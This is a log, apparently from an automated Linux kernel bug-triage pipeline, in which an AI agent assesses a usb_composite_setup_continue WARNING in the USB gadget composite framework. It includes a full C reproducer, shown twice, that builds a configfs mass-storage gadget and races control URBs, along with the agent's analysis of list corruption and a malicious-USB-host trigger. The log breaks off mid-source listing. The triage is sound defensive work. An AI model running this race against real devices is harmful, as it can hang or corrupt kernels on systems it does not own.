| 0/0 |
2026/08/13 10:56 |
flow |
assessment-security |
37m
Results: map[DenialOfService:true Explanation:Based on the analysis of the bug report and the kernel source code, here is the
assessment of the vulnerability:
**Vulnerability Analysis:**
The bug is a state machine desynchronization in the USB gadget composite
framework (`drivers/usb/gadget/composite.c`).
When a USB function (such as `f_mass_storage`) requires asynchronous processing
for a control request (like `SET_CONFIGURATION`), its `set_alt` handler returns
`USB_GADGET_DELAYED_STATUS`. The composite framework then increments
`cdev->delayed_status` and waits for the function driver to asynchronously call
`usb_composite_setup_continue()` to complete the status phase.
However, if the USB host aborts the transfer by sending a new `SETUP` packet
before the asynchronous work finishes, the composite framework processes the new
request without properly synchronizing with the pending delayed status:
1. If the new request is `SET_CONFIGURATION 0`, `reset_config()` is called,
which explicitly clears `cdev->delayed_status` to `0`. When the asynchronous
thread eventually calls `usb_composite_setup_continue()`, it sees
`cdev->delayed_status == 0` and triggers the `WARN` seen in the bug report.
2. **Exploitability:** If the new request is something else (e.g.,
`GET_DESCRIPTOR`), `cdev->delayed_status` is *not* cleared. `composite_setup()`
will process the new request and queue the shared `cdev->req` to the UDC
endpoint. Shortly after, the asynchronous thread calls
`usb_composite_setup_continue()`, which decrements `cdev->delayed_status` to `0`
and queues the exact same `cdev->req` **again**.
This double-queueing of the same `usb_request` structure is highly dangerous.
Depending on the underlying USB Device Controller (UDC) driver, this leads to
severe consequences. For example, in the widely used `dwc2` UDC driver (used in
Raspberry Pi and others), queueing an already queued request corrupts the
endpoint's doubly-linked list (`INIT_LIST_HEAD` is called without checking if
it's already linked). This list corruption leads to an infinite loop in the
interrupt handler (hard lockup/Denial of Service) and can potentially be
massaged into arbitrary memory corruption.
**Trigger Vector:**
The vulnerability is triggered by sending a specific sequence of USB control
requests (`SET_CONFIGURATION` followed rapidly by another `SETUP` packet). This
requires the attacker to act as a USB Host. Therefore, it is a **Peripheral
Trigger** (e.g., a malicious charging station or a compromised PC into which the
Linux USB gadget is plugged).
It cannot be triggered by unprivileged local processes, as interacting with the
USB gadget framework or raw USB nodes (`/dev/bus/usb/`) requires `root`
privileges.
**Conclusion:**
- **Exploitable:** Yes (Double-queueing leading to list/memory corruption).
- **Denial of Service:** Yes (Hard lockups due to list corruption).
- **Peripheral Trigger:** Yes (Triggered by a malicious USB host).
- **Unprivileged / User Namespaces / Remote:** No. Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/08/13 10:56 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#include <linux/usb/ch9.h>
#include <string.h>
#include <dirent.h>
#include <pthread.h>
#include <time.h>
#include <stdint.h>
#include <errno.h>
#include <sys/mount.h>
#include <sys/stat.h>
static int write_file(const char *path, const char *str) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(str);
if (write(fd, str, len) != len) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
return 0;
}
static void cleanup_gadget() {
write_file("/sys/kernel/config/usb_gadget/g1/UDC", "\n");
unlink("/sys/kernel/config/usb_gadget/g1/configs/c.1/mass_storage.0");
rmdir("/sys/kernel/config/usb_gadget/g1/configs/c.1");
rmdir("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0");
rmdir("/sys/kernel/config/usb_gadget/g1/strings/0x409");
rmdir("/sys/kernel/config/usb_gadget/g1");
}
static void setup_gadget() {
int res;
res = mount("none", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted.\n");
}
cleanup_gadget(); // Ensure clean state
res = mkdir("/sys/kernel/config/usb_gadget/g1", 0777);
if (res < 0 && errno != EEXIST) {
printf("[-] Failed to create gadget dir: %s\n", strerror(errno));
exit(1);
}
write_file("/sys/kernel/config/usb_gadget/g1/idVendor", "0x1d6b");
write_file("/sys/kernel/config/usb_gadget/g1/idProduct", "0x0104");
mkdir("/sys/kernel/config/usb_gadget/g1/strings/0x409", 0777);
mkdir("/sys/kernel/config/usb_gadget/g1/configs/c.1", 0777);
mkdir("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0", 0777);
int fd = open("./dummy_lun", O_CREAT | O_RDWR, 0666);
if (fd >= 0) {
if (ftruncate(fd, 1024 * 1024) < 0) {
printf("[-] ftruncate failed: %s\n", strerror(errno));
}
close(fd);
char cwd[256];
if (getcwd(cwd, sizeof(cwd))) {
char path[512];
snprintf(path, sizeof(path), "%s/dummy_lun", cwd);
write_file("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0/lun.0/file", path);
}
}
res = symlink("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0",
"/sys/kernel/config/usb_gadget/g1/configs/c.1/mass_storage.0");
if (res < 0 && errno != EEXIST) {
printf("[-] Failed to symlink function: %s\n", strerror(errno));
exit(1);
}
DIR *dir = opendir("/sys/class/udc");
if (!dir) {
printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
exit(1);
}
struct dirent *ent;
char udc_name[256] = {0};
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] != '.') {
strncpy(udc_name, ent->d_name, sizeof(udc_name) - 1);
break;
}
}
closedir(dir);
if (udc_name[0] == 0) {
printf("[-] No UDC found\n");
exit(1);
}
printf("[+] Found UDC: %s\n", udc_name);
res = write_file("/sys/kernel/config/usb_gadget/g1/UDC", udc_name);
if (res < 0) {
printf("[-] Failed to bind UDC\n");
exit(1);
}
printf("[+] Gadget bound to UDC.\n");
}
static int find_usb_device(char *dev_path, size_t max_len) {
DIR *dir = opendir("/sys/bus/usb/devices");
if (!dir) {
printf("[-] opendir /sys/bus/usb/devices failed: %s\n", strerror(errno));
return -1;
}
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] == '.') continue;
char path[256], vid[16] = {0}, pid[16] = {0};
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/idVendor", ent->d_name);
int fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, vid, sizeof(vid)-1);
if (n > 0) vid[n] = 0;
close(fd);
}
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/idProduct", ent->d_name);
fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, pid, sizeof(pid)-1);
if (n > 0) pid[n] = 0;
close(fd);
}
if (strncmp(vid, "1d6b", 4) == 0 && strncmp(pid, "0104", 4) == 0) {
int busnum = 0, devnum = 0;
char buf[32];
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/busnum", ent->d_name);
fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, buf, sizeof(buf)-1);
if (n > 0) { buf[n] = 0; busnum = atoi(buf); }
close(fd);
}
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/devnum", ent->d_name);
fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, buf, sizeof(buf)-1);
if (n > 0) { buf[n] = 0; devnum = atoi(buf); }
close(fd);
}
snprintf(dev_path, max_len, "/dev/bus/usb/%03d/%03d", busnum, devnum);
closedir(dir);
return 0;
}
}
closedir(dir);
return -1;
}
volatile int stop = 0;
int dev_fd = -1;
void* race_thread(void* arg) {
struct usb_ctrlrequest ctrl_set_config = {
.bRequestType = USB_DIR_OUT | USB_TYPE_STANDARD | USB_RECIP_DEVICE,
.bRequest = USB_REQ_SET_CONFIGURATION,
.wValue = 1,
.wIndex = 0,
.wLength = 0,
};
struct usb_ctrlrequest ctrl_vendor = {
.bRequestType = USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_INTERFACE,
.bRequest = 0,
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usbdevfs_urb urb_set_config = {
.type = USBDEVFS_URB_TYPE_CONTROL,
.endpoint = 0,
.buffer = &ctrl_set_config,
.buffer_length = sizeof(ctrl_set_config),
.usercontext = (void*)1,
};
struct usbdevfs_urb urb_vendor = {
.type = USBDEVFS_URB_TYPE_CONTROL,
.endpoint = 0,
.buffer = &ctrl_vendor,
.buffer_length = sizeof(ctrl_vendor),
.usercontext = (void*)2,
};
unsigned int seed = (unsigned int)pthread_self();
int config_val = 0;
while (!stop) {
// Alternate between configuration 1 and 0 to repeatedly trigger do_set_interface()
config_val = 1 - config_val;
ctrl_set_config.wValue = config_val;
int ret1 = ioctl(dev_fd, USBDEVFS_SUBMITURB, &urb_set_config);
int ret2 = ioctl(dev_fd, USBDEVFS_SUBMITURB, &urb_vendor);
if (ret1 == 0) {
// Random busy-wait delay to allow dummy_timer to process the SET_CONFIGURATION URB
// before we discard it. This clears delayed_status and forces the VENDOR URB to be processed.
seed = seed * 1103515245 + 12345;
int delay = seed % 100000;
for (volatile int i = 0; i < delay; i++);
ioctl(dev_fd, USBDEVFS_DISCARDURB, &urb_set_config);
}
struct usbdevfs_urb *reaped_urb;
if (ret1 == 0) ioctl(dev_fd, USBDEVFS_REAPURB, &reaped_urb);
if (ret2 == 0) ioctl(dev_fd, USBDEVFS_REAPURB, &reaped_urb);
}
return NULL;
}
int main() {
setup_gadget();
char dev_path[256] = {0};
int retries = 5;
while (retries-- > 0) {
if (find_usb_device(dev_path, sizeof(dev_path)) == 0) break;
sleep(1);
}
if (dev_path[0] == 0) {
printf("[-] Target dummy device not found.\n");
return 1;
}
printf("[+] Found device at %s\n", dev_path);
dev_fd = open(dev_path, O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open %s: %s\n", dev_path, strerror(errno));
return 1;
}
#define NUM_THREADS 4
pthread_t t[NUM_THREADS];
printf("[+] Starting race threads...\n");
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&t[i], NULL, race_thread, NULL);
}
sleep(10);
stop = 1;
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(t[i], NULL);
}
close(dev_fd);
printf("[+] Race loop finished.\n");
cleanup_gadget();
sleep(2);
return 0;
}
]
|
| 2/1 |
2026/08/13 10:56 |
action |
kernel-checkouter |
0m
Results: map[KernelSrc:/app/workdir/cache/src/7c7ab42d7c9c9b5cf6fa573a15333bf947be47d7]
|
| 3/1 |
2026/08/13 10:56 |
action |
kernel-builder |
15m
Results: map[KernelObj:/app/workdir/cache/build/6f74f5a783c25e740bb98afebdd9cf2f432155a3]
|
| 4/1 |
2026/08/13 11:11 |
action |
codesearch-prepare |
10m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/08/13 11:22 |
agent |
expert |
11m
Model:
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption, elevated privileges, or an information leak.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Information leaks are exploitable on their own and should be classified as such. A bug that copies kernel
memory contents to userspace (e.g. an out-of-bounds read whose result is returned to the caller, or
uninitialized stack/heap bytes written to a user buffer) is exploitable: it can reveal kernel pointer
values and defeat KASLR, expose sensitive data such as cryptographic keys or other processes' memory, and
serves as a necessary building block in most modern kernel privilege-escalation exploit chains. Do not classify
an information leak as non-exploitable solely because it does not directly cause a memory write or control-flow
hijack; the leak itself is the exploit primitive.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
------------[ cut here ]------------
usb_composite_setup_continue: Unexpected call
WARNING: drivers/usb/gadget/composite.c:2743 at usb_composite_setup_continue+0x2be/0x3a0 drivers/usb/gadget/composite.c:2743, CPU#1: file-storage/5932
Modules linked in:
CPU: 1 UID: 0 PID: 5932 Comm: file-storage Not tainted syzkaller #0 PREEMPT(full)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
RIP: 0010:usb_composite_setup_continue+0x2c5/0x3a0 drivers/usb/gadget/composite.c:2743
Code: e5 40 89 ee e8 7c fa 3d fa 40 84 ed 0f 84 35 fe ff ff e9 ec 74 87 f9 e8 59 00 3e fa 48 8d 3d c2 b9 62 09 48 c7 c6 a0 27 b7 8c <67> 48 0f b9 3a e9 d6 fd ff ff e8 3c 00 3e fa 48 89 da 48 b8 00 00
RSP: 0018:ffffc9000204fc88 EFLAGS: 00010093
RAX: 0000000000000000 RBX: ffff888021bce528 RCX: ffffffff87cc7103
RDX: ffff888079b50000 RSI: ffffffff8cb727a0 RDI: ffffffff912f2cf0
RBP: 0000000000000000 R08: 0000000000000005 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000293
R13: ffff888021bce6c8 R14: ffff88801e31c610 R15: dffffc0000000000
FS: 0000000000000000(0000) GS:ffff888123eec000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f4279cc4ff8 CR3: 000000007215b000 CR4: 00000000003526f0
Call Trace:
<TASK>
handle_exception drivers/usb/gadget/function/f_mass_storage.c:2551 [inline]
fsg_main_thread+0x16ec/0x88e0 drivers/usb/gadget/function/f_mass_storage.c:2589
kthread+0x370/0x450 kernel/kthread.c:436
ret_from_fork+0x72b/0xd50 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
</TASK>
----------------
Code disassembly (best guess):
0: e5 40 in $0x40,%eax
2: 89 ee mov %ebp,%esi
4: e8 7c fa 3d fa call 0xfa3dfa85
9: 40 84 ed test %bpl,%bpl
c: 0f 84 35 fe ff ff je 0xfffffe47
12: e9 ec 74 87 f9 jmp 0xf9877503
17: e8 59 00 3e fa call 0xfa3e0075
1c: 48 8d 3d c2 b9 62 09 lea 0x962b9c2(%rip),%rdi # 0x962b9e5
23: 48 c7 c6 a0 27 b7 8c mov $0xffffffff8cb727a0,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: e9 d6 fd ff ff jmp 0xfffffe0a
34: e8 3c 00 3e fa call 0xfa3e0075
39: 48 89 da mov %rbx,%rdx
3c: 48 rex.W
3d: b8 .byte 0xb8
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/usbdevice_fs.h>
#include <linux/usb/ch9.h>
#include <string.h>
#include <dirent.h>
#include <pthread.h>
#include <time.h>
#include <stdint.h>
#include <errno.h>
#include <sys/mount.h>
#include <sys/stat.h>
static int write_file(const char *path, const char *str) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
printf("[-] Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
int len = strlen(str);
if (write(fd, str, len) != len) {
printf("[-] Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
return 0;
}
static void cleanup_gadget() {
write_file("/sys/kernel/config/usb_gadget/g1/UDC", "\n");
unlink("/sys/kernel/config/usb_gadget/g1/configs/c.1/mass_storage.0");
rmdir("/sys/kernel/config/usb_gadget/g1/configs/c.1");
rmdir("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0");
rmdir("/sys/kernel/config/usb_gadget/g1/strings/0x409");
rmdir("/sys/kernel/config/usb_gadget/g1");
}
static void setup_gadget() {
int res;
res = mount("none", "/sys/kernel/config", "configfs", 0, NULL);
if (res < 0 && errno != EBUSY) {
printf("[-] Failed to mount configfs: %s\n", strerror(errno));
} else {
printf("[+] configfs mounted.\n");
}
cleanup_gadget(); // Ensure clean state
res = mkdir("/sys/kernel/config/usb_gadget/g1", 0777);
if (res < 0 && errno != EEXIST) {
printf("[-] Failed to create gadget dir: %s\n", strerror(errno));
exit(1);
}
write_file("/sys/kernel/config/usb_gadget/g1/idVendor", "0x1d6b");
write_file("/sys/kernel/config/usb_gadget/g1/idProduct", "0x0104");
mkdir("/sys/kernel/config/usb_gadget/g1/strings/0x409", 0777);
mkdir("/sys/kernel/config/usb_gadget/g1/configs/c.1", 0777);
mkdir("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0", 0777);
int fd = open("./dummy_lun", O_CREAT | O_RDWR, 0666);
if (fd >= 0) {
if (ftruncate(fd, 1024 * 1024) < 0) {
printf("[-] ftruncate failed: %s\n", strerror(errno));
}
close(fd);
char cwd[256];
if (getcwd(cwd, sizeof(cwd))) {
char path[512];
snprintf(path, sizeof(path), "%s/dummy_lun", cwd);
write_file("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0/lun.0/file", path);
}
}
res = symlink("/sys/kernel/config/usb_gadget/g1/functions/mass_storage.0",
"/sys/kernel/config/usb_gadget/g1/configs/c.1/mass_storage.0");
if (res < 0 && errno != EEXIST) {
printf("[-] Failed to symlink function: %s\n", strerror(errno));
exit(1);
}
DIR *dir = opendir("/sys/class/udc");
if (!dir) {
printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
exit(1);
}
struct dirent *ent;
char udc_name[256] = {0};
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] != '.') {
strncpy(udc_name, ent->d_name, sizeof(udc_name) - 1);
break;
}
}
closedir(dir);
if (udc_name[0] == 0) {
printf("[-] No UDC found\n");
exit(1);
}
printf("[+] Found UDC: %s\n", udc_name);
res = write_file("/sys/kernel/config/usb_gadget/g1/UDC", udc_name);
if (res < 0) {
printf("[-] Failed to bind UDC\n");
exit(1);
}
printf("[+] Gadget bound to UDC.\n");
}
static int find_usb_device(char *dev_path, size_t max_len) {
DIR *dir = opendir("/sys/bus/usb/devices");
if (!dir) {
printf("[-] opendir /sys/bus/usb/devices failed: %s\n", strerror(errno));
return -1;
}
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (ent->d_name[0] == '.') continue;
char path[256], vid[16] = {0}, pid[16] = {0};
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/idVendor", ent->d_name);
int fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, vid, sizeof(vid)-1);
if (n > 0) vid[n] = 0;
close(fd);
}
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/idProduct", ent->d_name);
fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, pid, sizeof(pid)-1);
if (n > 0) pid[n] = 0;
close(fd);
}
if (strncmp(vid, "1d6b", 4) == 0 && strncmp(pid, "0104", 4) == 0) {
int busnum = 0, devnum = 0;
char buf[32];
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/busnum", ent->d_name);
fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, buf, sizeof(buf)-1);
if (n > 0) { buf[n] = 0; busnum = atoi(buf); }
close(fd);
}
snprintf(path, sizeof(path), "/sys/bus/usb/devices/%s/devnum", ent->d_name);
fd = open(path, O_RDONLY);
if (fd >= 0) {
int n = read(fd, buf, sizeof(buf)-1);
if (n > 0) { buf[n] = 0; devnum = atoi(buf); }
close(fd);
}
snprintf(dev_path, max_len, "/dev/bus/usb/%03d/%03d", busnum, devnum);
closedir(dir);
return 0;
}
}
closedir(dir);
return -1;
}
volatile int stop = 0;
int dev_fd = -1;
void* race_thread(void* arg) {
struct usb_ctrlrequest ctrl_set_config = {
.bRequestType = USB_DIR_OUT | USB_TYPE_STANDARD | USB_RECIP_DEVICE,
.bRequest = USB_REQ_SET_CONFIGURATION,
.wValue = 1,
.wIndex = 0,
.wLength = 0,
};
struct usb_ctrlrequest ctrl_vendor = {
.bRequestType = USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_INTERFACE,
.bRequest = 0,
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usbdevfs_urb urb_set_config = {
.type = USBDEVFS_URB_TYPE_CONTROL,
.endpoint = 0,
.buffer = &ctrl_set_config,
.buffer_length = sizeof(ctrl_set_config),
.usercontext = (void*)1,
};
struct usbdevfs_urb urb_vendor = {
.type = USBDEVFS_URB_TYPE_CONTROL,
.endpoint = 0,
.buffer = &ctrl_vendor,
.buffer_length = sizeof(ctrl_vendor),
.usercontext = (void*)2,
};
unsigned int seed = (unsigned int)pthread_self();
int config_val = 0;
while (!stop) {
// Alternate between configuration 1 and 0 to repeatedly trigger do_set_interface()
config_val = 1 - config_val;
ctrl_set_config.wValue = config_val;
int ret1 = ioctl(dev_fd, USBDEVFS_SUBMITURB, &urb_set_config);
int ret2 = ioctl(dev_fd, USBDEVFS_SUBMITURB, &urb_vendor);
if (ret1 == 0) {
// Random busy-wait delay to allow dummy_timer to process the SET_CONFIGURATION URB
// before we discard it. This clears delayed_status and forces the VENDOR URB to be processed.
seed = seed * 1103515245 + 12345;
int delay = seed % 100000;
for (volatile int i = 0; i < delay; i++);
ioctl(dev_fd, USBDEVFS_DISCARDURB, &urb_set_config);
}
struct usbdevfs_urb *reaped_urb;
if (ret1 == 0) ioctl(dev_fd, USBDEVFS_REAPURB, &reaped_urb);
if (ret2 == 0) ioctl(dev_fd, USBDEVFS_REAPURB, &reaped_urb);
}
return NULL;
}
int main() {
setup_gadget();
char dev_path[256] = {0};
int retries = 5;
while (retries-- > 0) {
if (find_usb_device(dev_path, sizeof(dev_path)) == 0) break;
sleep(1);
}
if (dev_path[0] == 0) {
printf("[-] Target dummy device not found.\n");
return 1;
}
printf("[+] Found device at %s\n", dev_path);
dev_fd = open(dev_path, O_RDWR);
if (dev_fd < 0) {
printf("[-] Failed to open %s: %s\n", dev_path, strerror(errno));
return 1;
}
#define NUM_THREADS 4
pthread_t t[NUM_THREADS];
printf("[+] Starting race threads...\n");
for (int i = 0; i < NUM_THREADS; i++) {
pthread_create(&t[i], NULL, race_thread, NULL);
}
sleep(10);
stop = 1;
for (int i = 0; i < NUM_THREADS; i++) {
pthread_join(t[i], NULL);
}
close(dev_fd);
printf("[+] Race loop finished.\n");
cleanup_gadget();
sleep(2);
return 0;
}
Reply: Based on the analysis of the bug report and the kernel source code, here is the assessment of the vulnerability:
**Vulnerability Analysis:**
The bug is a state machine desynchronization in the USB gadget composite framework (`drivers/usb/gadget/composite.c`).
When a USB function (such as `f_mass_storage`) requires asynchronous processing for a control request (like `SET_CONFIGURATION`), its `set_alt` handler returns `USB_GADGET_DELAYED_STATUS`. The composite framework then increments `cdev->delayed_status` and waits for the function driver to asynchronously call `usb_composite_setup_continue()` to complete the status phase.
However, if the USB host aborts the transfer by sending a new `SETUP` packet before the asynchronous work finishes, the composite framework processes the new request without properly synchronizing with the pending delayed status:
1. If the new request is `SET_CONFIGURATION 0`, `reset_config()` is called, which explicitly clears `cdev->delayed_status` to `0`. When the asynchronous thread eventually calls `usb_composite_setup_continue()`, it sees `cdev->delayed_status == 0` and triggers the `WARN` seen in the bug report.
2. **Exploitability:** If the new request is something else (e.g., `GET_DESCRIPTOR`), `cdev->delayed_status` is *not* cleared. `composite_setup()` will process the new request and queue the shared `cdev->req` to the UDC endpoint. Shortly after, the asynchronous thread calls `usb_composite_setup_continue()`, which decrements `cdev->delayed_status` to `0` and queues the exact same `cdev->req` **again**.
This double-queueing of the same `usb_request` structure is highly dangerous. Depending on the underlying USB Device Controller (UDC) driver, this leads to severe consequences. For example, in the widely used `dwc2` UDC driver (used in Raspberry Pi and others), queueing an already queued request corrupts the endpoint's doubly-linked list (`INIT_LIST_HEAD` is called without checking if it's already linked). This list corruption leads to an infinite loop in the interrupt handler (hard lockup/Denial of Service) and can potentially be massaged into arbitrary memory corruption.
**Trigger Vector:**
The vulnerability is triggered by sending a specific sequence of USB control requests (`SET_CONFIGURATION` followed rapidly by another `SETUP` packet). This requires the attacker to act as a USB Host. Therefore, it is a **Peripheral Trigger** (e.g., a malicious charging station or a compromised PC into which the Linux USB gadget is plugged).
It cannot be triggered by unprivileged local processes, as interacting with the USB gadget framework or raw USB nodes (`/dev/bus/usb/`) requires `root` privileges.
**Conclusion:**
- **Exploitable:** Yes (Double-queueing leading to list/memory corruption).
- **Denial of Service:** Yes (Hard lockups due to list corruption).
- **Peripheral Trigger:** Yes (Triggered by a malicious USB host).
- **Unprivileged / User Namespaces / Remote:** No.
|
| 6/2 |
2026/08/13 11:22 |
llm |
expert |
0m
Model:
Tokens:
input: 10324
output: 41
thoughts: 123
Thoughts: **Analyzing a USB Gadget Bug**
Okay, so we've got a bug report. It's flagging an "Unexpected call" within `usb_composite_setup_continue`, which, if I recall correctly, is deep inside the USB gadget driver code. The warning points directly to line 2743 in `drivers/usb/gadget/composite.c`, specifically for a file-storage instance, PID 5932. This isn't ideal; unexpected calls are rarely a good thing, especially in a critical path function like this. I need to dive into that function and that specific line to understand what's happening and why the system thinks the call is unexpected. It's likely related to how a setup phase or state transition is being handled. I need to figure out what's causing this issue so I can determine the appropriate fix.
|
| 7/2 |
2026/08/13 11:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/composite.c Name:usb_composite_setup_continue]
Results: map[SourceCode:2723: /**
2724: * usb_composite_setup_continue() - Continue with the control transfer
2725: * @cdev: the composite device who's control transfer was kept waiting
2726: *
2727: * This function must be called by the USB function driver to continue
2728: * with the control transfer's data/status stage in case it had requested to
2729: * delay the data/status stages. A USB function's setup handler (e.g. set_alt())
2730: * can request the composite framework to delay the setup request's data/status
